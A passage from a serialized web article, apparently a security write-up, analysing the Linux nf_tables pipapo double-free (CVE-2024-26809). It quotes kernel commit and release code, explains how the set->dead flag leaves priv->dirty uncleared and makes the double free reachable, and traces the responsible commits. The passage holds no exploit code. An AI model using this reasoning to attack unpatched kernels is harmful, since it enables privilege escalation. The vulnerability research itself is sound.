nf_tables_commit_release",{"type":22,"tag":118,"props":54789,"children":54790},{"style":125},[54791],{"type":28,"value":54792},"(net);\n",{"type":22,"tag":118,"props":54794,"children":54795},{"class":120,"line":699},[54796],{"type":22,"tag":118,"props":54797,"children":54798},{"emptyLinePlaceholder":15},[54799],{"type":28,"value":250},{"type":22,"tag":118,"props":54801,"children":54802},{"class":120,"line":729},[54803,54808,54812],{"type":22,"tag":118,"props":54804,"children":54805},{"style":1480},[54806],{"type":28,"value":54807}," return",{"type":22,"tag":118,"props":54809,"children":54810},{"style":674},[54811],{"type":28,"value":5074},{"type":22,"tag":118,"props":54813,"children":54814},{"style":125},[54815],{"type":28,"value":801},{"type":22,"tag":118,"props":54817,"children":54818},{"class":120,"line":771},[54819],{"type":22,"tag":118,"props":54820,"children":54821},{"style":125},[54822],{"type":28,"value":481},{"type":22,"tag":31,"props":54824,"children":54825},{},[54826,54827,54833,54835,54840],{"type":28,"value":2743},{"type":22,"tag":114,"props":54828,"children":54830},{"className":54829},[],[54831],{"type":28,"value":54832},"nft_set_commit_update()",{"type":28,"value":54834}," function in the code above will call the ",{"type":22,"tag":114,"props":54836,"children":54838},{"className":54837},[],[54839],{"type":28,"value":54286},{"type":28,"value":54841}," method for any objects that were marked as pending an update.",{"type":22,"tag":107,"props":54843,"children":54845},{"className":18481,"code":54844,"language":5169,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n  list_del_init(&set->pending_update);\n\n  if (!set->ops->commit || set->dead) // [4]\n   continue;\n\n  set->ops->commit(set); // [5]\n }\n}\n",[54846],{"type":22,"tag":114,"props":54847,"children":54848},{"__ignoreMap":7},[54849,54889,54896,54925,54932,54945,54977,54984,55045,55056,55063,55097,55104],{"type":22,"tag":118,"props":54850,"children":54851},{"class":120,"line":121},[54852,54856,54860,54864,54868,54872,54877,54881,54885],{"type":22,"tag":118,"props":54853,"children":54854},{"style":146},[54855],{"type":28,"value":52985},{"type":22,"tag":118,"props":54857,"children":54858},{"style":146},[54859],{"type":28,"value":52990},{"type":22,"tag":118,"props":54861,"children":54862},{"style":532},[54863],{"type":28,"value":54755},{"type":22,"tag":118,"props":54865,"children":54866},{"style":125},[54867],{"type":28,"value":540},{"type":22,"tag":118,"props":54869,"children":54870},{"style":146},[54871],{"type":28,"value":11399},{"type":22,"tag":118,"props":54873,"children":54874},{"style":125},[54875],{"type":28,"value":54876}," list_head ",{"type":22,"tag":118,"props":54878,"children":54879},{"style":210},[54880],{"type":28,"value":671},{"type":22,"tag":118,"props":54882,"children":54883},{"style":204},[54884],{"type":28,"value":54768},{"type":22,"tag":118,"props":54886,"children":54887},{"style":125},[54888],{"type":28,"value":3665},{"type":22,"tag":118,"props":54890,"children":54891},{"class":120,"line":142},[54892],{"type":22,"tag":118,"props":54893,"children":54894},{"style":125},[54895],{"type":28,"value":12879},{"type":22,"tag":118,"props":54897,"children":54898},{"class":120,"line":177},[54899,54903,54907,54911,54916,54920],{"type":22,"tag":118,"props":54900,"children":54901},{"style":146},[54902],{"type":28,"value":154},{"type":22,"tag":118,"props":54904,"children":54905},{"style":125},[54906],{"type":28,"value":53040},{"type":22,"tag":118,"props":54908,"children":54909},{"style":210},[54910],{"type":28,"value":671},{"type":22,"tag":118,"props":54912,"children":54913},{"style":125},[54914],{"type":28,"value":54915},"set, ",{"type":22,"tag":118,"props":54917,"children":54918},{"style":210},[54919],{"type":28,"value":671},{"type":22,"tag":118,"props":54921,"children":54922},{"style":125},[54923],{"type":28,"value":54924},"next;\n",{"type":22,"tag":118,"props":54926,"children":54927},{"class":120,"line":195},[54928],{"type":22,"tag":118,"props":54929,"children":54930},{"emptyLinePlaceholder":15},[54931],{"type":28,"value":250},{"type":22,"tag":118,"props":54933,"children":54934},{"class":120,"line":244},[54935,54940],{"type":22,"tag":118,"props":54936,"children":54937},{"style":532},[54938],{"type":28,"value":54939}," list_for_each_entry_safe",{"type":22,"tag":118,"props":54941,"children":54942},{"style":125},[54943],{"type":28,"value":54944},"(set, next, set_update_list, pending_update) {\n",{"type":22,"tag":118,"props":54946,"children":54947},{"class":120,"line":253},[54948,54953,54957,54961,54965,54969,54973],{"type":22,"tag":118,"props":54949,"children":54950},{"style":532},[54951],{"type":28,"value":54952},"  list_del_init",{"type":22,"tag":118,"props":54954,"children":54955},{"style":125},[54956],{"type":28,"value":540},{"type":22,"tag":118,"props":54958,"children":54959},{"style":210},[54960],{"type":28,"value":1407},{"type":22,"tag":118,"props":54962,"children":54963},{"style":204},[54964],{"type":28,"value":52960},{"type":22,"tag":118,"props":54966,"children":54967},{"style":125},[54968],{"type":28,"value":593},{"type":22,"tag":118,"props":54970,"children":54971},{"style":204},[54972],{"type":28,"value":54662},{"type":22,"tag":118,"props":54974,"children":54975},{"style":125},[54976],{"type":28,"value":682},{"type":22,"tag":118,"props":54978,"children":54979},{"class":120,"line":263},[54980],{"type":22,"tag":118,"props":54981,"children":54982},{"emptyLinePlaceholder":15},[54983],{"type":28,"value":250},{"type":22,"tag":118,"props":54985,"children":54986},{"class":120,"line":318},[54987,54991,54995,54999,55003,55007,55011,55015,55019,55023,55028,55032,55036,55040],{"type":22,"tag":118,"props":54988,"children":54989},{"style":1480},[54990],{"type":28,"value":33333},{"type":22,"tag":118,"props":54992,"children":54993},{"style":125},[54994],{"type":28,"value":842},{"type":22,"tag":118,"props":54996,"children":54997},{"style":210},[54998],{"type":28,"value":22581},{"type":22,"tag":118,"props":55000,"children":55001},{"style":204},[55002],{"type":28,"value":52960},{"type":22,"tag":118,"props":55004,"children":55005},{"style":125},[55006],{"type":28,"value":593},{"type":22,"tag":118,"props":55008,"children":55009},{"style":204},[55010],{"type":28,"value":54611},{"type":22,"tag":118,"props":55012,"children":55013},{"style":125},[55014],{"type":28,"value":593},{"type":22,"tag":118,"props":55016,"children":55017},{"style":204},[55018],{"type":28,"value":54620},{"type":22,"tag":118,"props":55020,"children":55021},{"style":210},[55022],{"type":28,"value":25646},{"type":22,"tag":118,"props":55024,"children":55025},{"style":204},[55026],{"type":28,"value":55027}," set",{"type":22,"tag":118,"props":55029,"children":55030},{"style":125},[55031],{"type":28,"value":593},{"type":22,"tag":118,"props":55033,"children":55034},{"style":204},[55035],{"type":28,"value":54430},{"type":22,"tag":118,"props":55037,"children":55038},{"style":125},[55039],{"type":28,"value":3627},{"type":22,"tag":118,"props":55041,"children":55042},{"style":257},[55043],{"type":28,"value":55044}," // [4]\n",{"type":22,"tag":118,"props":55046,"children":55047},{"class":120,"line":351},[55048,55052],{"type":22,"tag":118,"props":55049,"children":55050},{"style":1480},[55051],{"type":28,"value":53432},{"type":22,"tag":118,"props":55053,"children":55054},{"style":125},[55055],{"type":28,"value":801},{"type":22,"tag":118,"props":55057,"children":55058},{"class":120,"line":359},[55059],{"type":22,"tag":118,"props":55060,"children":55061},{"emptyLinePlaceholder":15},[55062],{"type":28,"value":250},{"type":22,"tag":118,"props":55064,"children":55065},{"class":120,"line":368},[55066,55071,55075,55079,55083,55087,55092],{"type":22,"tag":118,"props":55067,"children":55068},{"style":204},[55069],{"type":28,"value":55070},"  set",{"type":22,"tag":118,"props":55072,"children":55073},{"style":125},[55074],{"type":28,"value":593},{"type":22,"tag":118,"props":55076,"children":55077},{"style":204},[55078],{"type":28,"value":54611},{"type":22,"tag":118,"props":55080,"children":55081},{"style":125},[55082],{"type":28,"value":593},{"type":22,"tag":118,"props":55084,"children":55085},{"style":532},[55086],{"type":28,"value":54620},{"type":22,"tag":118,"props":55088,"children":55089},{"style":125},[55090],{"type":28,"value":55091},"(set);",{"type":22,"tag":118,"props":55093,"children":55094},{"style":257},[55095],{"type":28,"value":55096}," // [5]\n",{"type":22,"tag":118,"props":55098,"children":55099},{"class":120,"line":384},[55100],{"type":22,"tag":118,"props":55101,"children":55102},{"style":125},[55103],{"type":28,"value":11594},{"type":22,"tag":118,"props":55105,"children":55106},{"class":120,"line":417},[55107],{"type":22,"tag":118,"props":55108,"children":55109},{"style":125},[55110],{"type":28,"value":481},{"type":22,"tag":31,"props":55112,"children":55113},{},[55114,55116,55122,55124,55129,55130,55135],{"type":28,"value":55115},"Later on, the ",{"type":22,"tag":114,"props":55117,"children":55119},{"className":55118},[],[55120],{"type":28,"value":55121},"nf_tables_commit_release()",{"type":28,"value":55123}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":22,"tag":114,"props":55125,"children":55127},{"className":55126},[],[55128],{"type":28,"value":52960},{"type":28,"value":54280},{"type":22,"tag":114,"props":55131,"children":55133},{"className":55132},[],[55134],{"type":28,"value":54294},{"type":28,"value":55136}," method.",{"type":22,"tag":107,"props":55138,"children":55140},{"className":18481,"code":55139,"language":5169,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n  nft_trans_list_del(trans);\n  nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n  nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[55141],{"type":22,"tag":114,"props":55142,"children":55143},{"__ignoreMap":7},[55144,55183,55190,55197,55218,55225,55232,55239,55280,55287,55294,55315,55328,55340,55347,55354,55361,55402,55409,55437,55444,55457,55469,55510,55517,55524,55531,55589,55596,55603,55632,55639],{"type":22,"tag":118,"props":55145,"children":55146},{"class":120,"line":121},[55147,55151,55155,55159,55163,55167,55171,55175,55179],{"type":22,"tag":118,"props":55148,"children":55149},{"style":146},[55150],{"type":28,"value":52985},{"type":22,"tag":118,"props":55152,"children":55153},{"style":146},[55154],{"type":28,"value":52990},{"type":22,"tag":118,"props":55156,"children":55157},{"style":532},[55158],{"type":28,"value":54787},{"type":22,"tag":118,"props":55160,"children":55161},{"style":125},[55162],{"type":28,"value":540},{"type":22,"tag":118,"props":55164,"children":55165},{"style":146},[55166],{"type":28,"value":11399},{"type":22,"tag":118,"props":55168,"children":55169},{"style":125},[55170],{"type":28,"value":53943},{"type":22,"tag":118,"props":55172,"children":55173},{"style":210},[55174],{"type":28,"value":671},{"type":22,"tag":118,"props":55176,"children":55177},{"style":204},[55178],{"type":28,"value":53952},{"type":22,"tag":118,"props":55180,"children":55181},{"style":125},[55182],{"type":28,"value":3665},{"type":22,"tag":118,"props":55184,"children":55185},{"class":120,"line":142},[55186],{"type":22,"tag":118,"props":55187,"children":55188},{"style":125},[55189],{"type":28,"value":12879},{"type":22,"tag":118,"props":55191,"children":55192},{"class":120,"line":177},[55193],{"type":22,"tag":118,"props":55194,"children":55195},{"style":125},[55196],{"type":28,"value":12317},{"type":22,"tag":118,"props":55198,"children":55199},{"class":120,"line":195},[55200,55205,55209,55213],{"type":22,"tag":118,"props":55201,"children":55202},{"style":532},[55203],{"type":28,"value":55204}," schedule_work",{"type":22,"tag":118,"props":55206,"children":55207},{"style":125},[55208],{"type":28,"value":540},{"type":22,"tag":118,"props":55210,"children":55211},{"style":210},[55212],{"type":28,"value":1407},{"type":22,"tag":118,"props":55214,"children":55215},{"style":125},[55216],{"type":28,"value":55217},"trans_destroy_work);\n",{"type":22,"tag":118,"props":55219,"children":55220},{"class":120,"line":244},[55221],{"type":22,"tag":118,"props":55222,"children":55223},{"style":125},[55224],{"type":28,"value":12317},{"type":22,"tag":118,"props":55226,"children":55227},{"class":120,"line":253},[55228],{"type":22,"tag":118,"props":55229,"children":55230},{"style":125},[55231],{"type":28,"value":481},{"type":22,"tag":118,"props":55233,"children":55234},{"class":120,"line":263},[55235],{"type":22,"tag":118,"props":55236,"children":55237},{"style":125},[55238],{"type":28,"value":12317},{"type":22,"tag":118,"props":55240,"children":55241},{"class":120,"line":318},[55242,55246,55250,55255,55259,55263,55268,55272,55276],{"type":22,"tag":118,"props":55243,"children":55244},{"style":146},[55245],{"type":28,"value":52985},{"type":22,"tag":118,"props":55247,"children":55248},{"style":146},[55249],{"type":28,"value":52990},{"type":22,"tag":118,"props":55251,"children":55252},{"style":532},[55253],{"type":28,"value":55254}," nf_tables_trans_destroy_work",{"type":22,"tag":118,"props":55256,"children":55257},{"style":125},[55258],{"type":28,"value":540},{"type":22,"tag":118,"props":55260,"children":55261},{"style":146},[55262],{"type":28,"value":11399},{"type":22,"tag":118,"props":55264,"children":55265},{"style":125},[55266],{"type":28,"value":55267}," work_struct ",{"type":22,"tag":118,"props":55269,"children":55270},{"style":210},[55271],{"type":28,"value":671},{"type":22,"tag":118,"props":55273,"children":55274},{"style":204},[55275],{"type":28,"value":51512},{"type":22,"tag":118,"props":55277,"children":55278},{"style":125},[55279],{"type":28,"value":3665},{"type":22,"tag":118,"props":55281,"children":55282},{"class":120,"line":351},[55283],{"type":22,"tag":118,"props":55284,"children":55285},{"style":125},[55286],{"type":28,"value":12879},{"type":22,"tag":118,"props":55288,"children":55289},{"class":120,"line":359},[55290],{"type":22,"tag":118,"props":55291,"children":55292},{"style":125},[55293],{"type":28,"value":12317},{"type":22,"tag":118,"props":55295,"children":55296},{"class":120,"line":368},[55297,55301,55306,55310],{"type":22,"tag":118,"props":55298,"children":55299},{"style":532},[55300],{"type":28,"value":54939},{"type":22,"tag":118,"props":55302,"children":55303},{"style":125},[55304],{"type":28,"value":55305},"(trans, next, ",{"type":22,"tag":118,"props":55307,"children":55308},{"style":210},[55309],{"type":28,"value":1407},{"type":22,"tag":118,"props":55311,"children":55312},{"style":125},[55313],{"type":28,"value":55314},"head, list) {\n",{"type":22,"tag":118,"props":55316,"children":55317},{"class":120,"line":384},[55318,55323],{"type":22,"tag":118,"props":55319,"children":55320},{"style":532},[55321],{"type":28,"value":55322},"  nft_trans_list_del",{"type":22,"tag":118,"props":55324,"children":55325},{"style":125},[55326],{"type":28,"value":55327},"(trans);\n",{"type":22,"tag":118,"props":55329,"children":55330},{"class":120,"line":417},[55331,55336],{"type":22,"tag":118,"props":55332,"children":55333},{"style":532},[55334],{"type":28,"value":55335},"  nft_commit_release",{"type":22,"tag":118,"props":55337,"children":55338},{"style":125},[55339],{"type":28,"value":55327},{"type":22,"tag":118,"props":55341,"children":55342},{"class":120,"line":425},[55343],{"type":22,"tag":118,"props":55344,"children":55345},{"style":125},[55346],{"type":28,"value":11594},{"type":22,"tag":118,"props":55348,"children":55349},{"class":120,"line":441},[55350],{"type":22,"tag":118,"props":55351,"children":55352},{"style":125},[55353],{"type":28,"value":481},{"type":22,"tag":118,"props":55355,"children":55356},{"class":120,"line":475},[55357],{"type":22,"tag":118,"props":55358,"children":55359},{"style":125},[55360],{"type":28,"value":12317},{"type":22,"tag":118,"props":55362,"children":55363},{"class":120,"line":484},[55364,55368,55372,55377,55381,55385,55390,55394,55398],{"type":22,"tag":118,"props":55365,"children":55366},{"style":146},[55367],{"type":28,"value":52985},{"type":22,"tag":118,"props":55369,"children":55370},{"style":146},[55371],{"type":28,"value":52990},{"type":22,"tag":118,"props":55373,"children":55374},{"style":532},[55375],{"type":28,"value":55376}," nft_commit_release",{"type":22,"tag":118,"props":55378,"children":55379},{"style":125},[55380],{"type":28,"value":540},{"type":22,"tag":118,"props":55382,"children":55383},{"style":146},[55384],{"type":28,"value":11399},{"type":22,"tag":118,"props":55386,"children":55387},{"style":125},[55388],{"type":28,"value":55389}," nft_trans ",{"type":22,"tag":118,"props":55391,"children":55392},{"style":210},[55393],{"type":28,"value":671},{"type":22,"tag":118,"props":55395,"children":55396},{"style":204},[55397],{"type":28,"value":54502},{"type":22,"tag":118,"props":55399,"children":55400},{"style":125},[55401],{"type":28,"value":3665},{"type":22,"tag":118,"props":55403,"children":55404},{"class":120,"line":492},[55405],{"type":22,"tag":118,"props":55406,"children":55407},{"style":125},[55408],{"type":28,"value":12879},{"type":22,"tag":118,"props":55410,"children":55411},{"class":120,"line":501},[55412,55417,55421,55425,55429,55433],{"type":22,"tag":118,"props":55413,"children":55414},{"style":1480},[55415],{"type":28,"value":55416}," switch",{"type":22,"tag":118,"props":55418,"children":55419},{"style":125},[55420],{"type":28,"value":842},{"type":22,"tag":118,"props":55422,"children":55423},{"style":204},[55424],{"type":28,"value":54502},{"type":22,"tag":118,"props":55426,"children":55427},{"style":125},[55428],{"type":28,"value":593},{"type":22,"tag":118,"props":55430,"children":55431},{"style":204},[55432],{"type":28,"value":54540},{"type":22,"tag":118,"props":55434,"children":55435},{"style":125},[55436],{"type":28,"value":16783},{"type":22,"tag":118,"props":55438,"children":55439},{"class":120,"line":519},[55440],{"type":22,"tag":118,"props":55441,"children":55442},{"style":125},[55443],{"type":28,"value":12317},{"type":22,"tag":118,"props":55445,"children":55446},{"class":120,"line":606},[55447,55452],{"type":22,"tag":118,"props":55448,"children":55449},{"style":1480},[55450],{"type":28,"value":55451}," case",{"type":22,"tag":118,"props":55453,"children":55454},{"style":125},[55455],{"type":28,"value":55456}," NFT_MSG_DELSET:\n",{"type":22,"tag":118,"props":55458,"children":55459},{"class":120,"line":615},[55460,55464],{"type":22,"tag":118,"props":55461,"children":55462},{"style":1480},[55463],{"type":28,"value":55451},{"type":22,"tag":118,"props":55465,"children":55466},{"style":125},[55467],{"type":28,"value":55468}," NFT_MSG_DESTROYSET:\n",{"type":22,"tag":118,"props":55470,"children":55471},{"class":120,"line":685},[55472,55477,55481,55485,55489,55493,55497,55501,55505],{"type":22,"tag":118,"props":55473,"children":55474},{"style":532},[55475],{"type":28,"value":55476},"  nft_set_destroy",{"type":22,"tag":118,"props":55478,"children":55479},{"style":125},[55480],{"type":28,"value":540},{"type":22,"tag":118,"props":55482,"children":55483},{"style":210},[55484],{"type":28,"value":1407},{"type":22,"tag":118,"props":55486,"children":55487},{"style":125},[55488],{"type":28,"value":54502},{"type":22,"tag":118,"props":55490,"children":55491},{"style":210},[55492],{"type":28,"value":593},{"type":22,"tag":118,"props":55494,"children":55495},{"style":204},[55496],{"type":28,"value":545},{"type":22,"tag":118,"props":55498,"children":55499},{"style":125},[55500],{"type":28,"value":231},{"type":22,"tag":118,"props":55502,"children":55503},{"style":532},[55504],{"type":28,"value":54468},{"type":22,"tag":118,"props":55506,"children":55507},{"style":125},[55508],{"type":28,"value":55509},"(trans));\n",{"type":22,"tag":118,"props":55511,"children":55512},{"class":120,"line":699},[55513],{"type":22,"tag":118,"props":55514,"children":55515},{"style":125},[55516],{"type":28,"value":12317},{"type":22,"tag":118,"props":55518,"children":55519},{"class":120,"line":729},[55520],{"type":22,"tag":118,"props":55521,"children":55522},{"style":125},[55523],{"type":28,"value":481},{"type":22,"tag":118,"props":55525,"children":55526},{"class":120,"line":771},[55527],{"type":22,"tag":118,"props":55528,"children":55529},{"style":125},[55530],{"type":28,"value":12317},{"type":22,"tag":118,"props":55532,"children":55533},{"class":120,"line":785},[55534,55538,55542,55547,55551,55555,55559,55563,55567,55572,55576,55580,55584],{"type":22,"tag":118,"props":55535,"children":55536},{"style":146},[55537],{"type":28,"value":52985},{"type":22,"tag":118,"props":55539,"children":55540},{"style":146},[55541],{"type":28,"value":52990},{"type":22,"tag":118,"props":55543,"children":55544},{"style":532},[55545],{"type":28,"value":55546}," nft_set_destroy",{"type":22,"tag":118,"props":55548,"children":55549},{"style":125},[55550],{"type":28,"value":540},{"type":22,"tag":118,"props":55552,"children":55553},{"style":146},[55554],{"type":28,"value":11653},{"type":22,"tag":118,"props":55556,"children":55557},{"style":146},[55558],{"type":28,"value":154},{"type":22,"tag":118,"props":55560,"children":55561},{"style":125},[55562],{"type":28,"value":53012},{"type":22,"tag":118,"props":55564,"children":55565},{"style":210},[55566],{"type":28,"value":671},{"type":22,"tag":118,"props":55568,"children":55569},{"style":125},[55570],{"type":28,"value":55571},"ctx, ",{"type":22,"tag":118,"props":55573,"children":55574},{"style":146},[55575],{"type":28,"value":11399},{"type":22,"tag":118,"props":55577,"children":55578},{"style":125},[55579],{"type":28,"value":53040},{"type":22,"tag":118,"props":55581,"children":55582},{"style":210},[55583],{"type":28,"value":671},{"type":22,"tag":118,"props":55585,"children":55586},{"style":125},[55587],{"type":28,"value":55588},"set)\n",{"type":22,"tag":118,"props":55590,"children":55591},{"class":120,"line":804},[55592],{"type":22,"tag":118,"props":55593,"children":55594},{"style":125},[55595],{"type":28,"value":12879},{"type":22,"tag":118,"props":55597,"children":55598},{"class":120,"line":812},[55599],{"type":22,"tag":118,"props":55600,"children":55601},{"style":125},[55602],{"type":28,"value":12317},{"type":22,"tag":118,"props":55604,"children":55605},{"class":120,"line":821},[55606,55610,55614,55618,55622,55627],{"type":22,"tag":118,"props":55607,"children":55608},{"style":204},[55609],{"type":28,"value":55027},{"type":22,"tag":118,"props":55611,"children":55612},{"style":125},[55613],{"type":28,"value":593},{"type":22,"tag":118,"props":55615,"children":55616},{"style":204},[55617],{"type":28,"value":54611},{"type":22,"tag":118,"props":55619,"children":55620},{"style":125},[55621],{"type":28,"value":593},{"type":22,"tag":118,"props":55623,"children":55624},{"style":532},[55625],{"type":28,"value":55626},"destroy",{"type":22,"tag":118,"props":55628,"children":55629},{"style":125},[55630],{"type":28,"value":55631},"(ctx, set);\n",{"type":22,"tag":118,"props":55633,"children":55634},{"class":120,"line":900},[55635],{"type":22,"tag":118,"props":55636,"children":55637},{"style":125},[55638],{"type":28,"value":12317},{"type":22,"tag":118,"props":55640,"children":55641},{"class":120,"line":913},[55642],{"type":22,"tag":118,"props":55643,"children":55644},{"style":125},[55645],{"type":28,"value":481},{"type":22,"tag":31,"props":55647,"children":55648},{},[55649,55651,55656,55658,55663,55665,55671,55673,55678,55680,55685,55687,55691,55693,55698,55699,55703,55705,55711],{"type":28,"value":55650},"It may appear as if it would be impossible to make ",{"type":22,"tag":114,"props":55652,"children":55654},{"className":55653},[],[55655],{"type":28,"value":52914},{"type":28,"value":55657}," true in the release step because the ",{"type":22,"tag":114,"props":55659,"children":55661},{"className":55660},[],[55662],{"type":28,"value":54286},{"type":28,"value":55664}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":22,"tag":114,"props":55666,"children":55668},{"className":55667},[],[55669],{"type":28,"value":55670},"set->dead",{"type":28,"value":55672}," flag. If a ",{"type":22,"tag":114,"props":55674,"children":55676},{"className":55675},[],[55677],{"type":28,"value":52960},{"type":28,"value":55679}," was marked for deletion, it receives the ",{"type":22,"tag":114,"props":55681,"children":55683},{"className":55682},[],[55684],{"type":28,"value":55670},{"type":28,"value":55686}," flag ",{"type":22,"tag":118,"props":55688,"children":55689},{},[55690],{"type":28,"value":5147},{"type":28,"value":55692},". If this flag is set, then the commit path will skip any commitments to this ",{"type":22,"tag":114,"props":55694,"children":55696},{"className":55695},[],[55697],{"type":28,"value":52960},{"type":28,"value":8467},{"type":22,"tag":118,"props":55700,"children":55701},{},[55702],{"type":28,"value":19493},{"type":28,"value":55704},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":22,"tag":114,"props":55706,"children":55708},{"className":55707},[],[55709],{"type":28,"value":55710},"priv ->dirty",{"type":28,"value":55712}," flag is not cleared when it should have been.",{"type":22,"tag":23,"props":55714,"children":55716},{"id":55715},"tracing-the-guilty-commit",[55717],{"type":28,"value":55718},"Tracing the guilty commit",{"type":22,"tag":31,"props":55720,"children":55721},{},[55722,55724,55731,55733,55739,55741,55746,55748,55754],{"type":28,"value":55723},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":22,"tag":42,"props":55725,"children":55728},{"href":55726,"rel":55727},"https://ubuntu.com/security/CVE-2024-26809",[46],[55729],{"type":28,"value":55730},"advisories",{"type":28,"value":55732}," about this vulnerability will say it was introduced by this ",{"type":22,"tag":42,"props":55734,"children":55737},{"href":55735,"rel":55736},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[46],[55738],{"type":28,"value":54620},{"type":28,"value":55740},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":22,"tag":114,"props":55742,"children":55744},{"className":55743},[],[55745],{"type":28,"value":55670},{"type":28,"value":55747}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":22,"tag":42,"props":55749,"children":55752},{"href":55750,"rel":55751},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[46],[55753],{"type":28,"value":54620},{"type":28,"value":292},{"type":22,"tag":31,"props":55756,"children":55757},{},[55758],{"type":28,"value":55759},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":22,"tag":107,"props":55761,"children":55765},{"className":55762,"code":55763,"language":55764,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919]  \u003CTASK>\n[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952]  ? __nla_validate_parse+0x48/0x190\n[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963]  netlink_unicast+0x211/0x340\n[16302.231969]  netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[55766],{"type":22,"tag":114,"props":55767,"children":55768},{"__ignoreMap":7},[55769,55777,55785,55792,55800,55808,55815,55823,55830,55838,55846,55853,55861,55869,55877,55885,55893,55901,55909,55917,55925,55932,55940,55948,55955,55963,55971,55979,55987,55995,56002,56010,56018],{"type":22,"tag":118,"props":55770,"children":55771},{"class":120,"line":121},[55772],{"type":22,"tag":118,"props":55773,"children":55774},{},[55775],{"type":28,"value":55776},"New elements that reside in the clone are not released in case that the\n",{"type":22,"tag":118,"props":55778,"children":55779},{"class":120,"line":142},[55780],{"type":22,"tag":118,"props":55781,"children":55782},{},[55783],{"type":28,"value":55784},"transaction is aborted.\n",{"type":22,"tag":118,"props":55786,"children":55787},{"class":120,"line":177},[55788],{"type":22,"tag":118,"props":55789,"children":55790},{"emptyLinePlaceholder":15},[55791],{"type":28,"value":250},{"type":22,"tag":118,"props":55793,"children":55794},{"class":120,"line":195},[55795],{"type":22,"tag":118,"props":55796,"children":55797},{},[55798],{"type":28,"value":55799},"[16302.231754] ------------[ cut here ]------------\n",{"type":22,"tag":118,"props":55801,"children":55802},{"class":120,"line":244},[55803],{"type":22,"tag":118,"props":55804,"children":55805},{},[55806],{"type":28,"value":55807},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":22,"tag":118,"props":55809,"children":55810},{"class":120,"line":253},[55811],{"type":22,"tag":118,"props":55812,"children":55813},{},[55814],{"type":28,"value":12317},{"type":22,"tag":118,"props":55816,"children":55817},{"class":120,"line":263},[55818],{"type":22,"tag":118,"props":55819,"children":55820},{},[55821],{"type":28,"value":55822},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n",{"type":22,"tag":118,"props":55824,"children":55825},{"class":120,"line":318},[55826],{"type":22,"tag":118,"props":55827,"children":55828},{},[55829],{"type":28,"value":12317},{"type":22,"tag":118,"props":55831,"children":55832},{"class":120,"line":351},[55833],{"type":22,"tag":118,"props":55834,"children":55835},{},[55836],{"type":28,"value":55837},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":22,"tag":118,"props":55839,"children":55840},{"class":120,"line":359},[55841],{"type":22,"tag":118,"props":55842,"children":55843},{},[55844],{"type":28,"value":55845},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 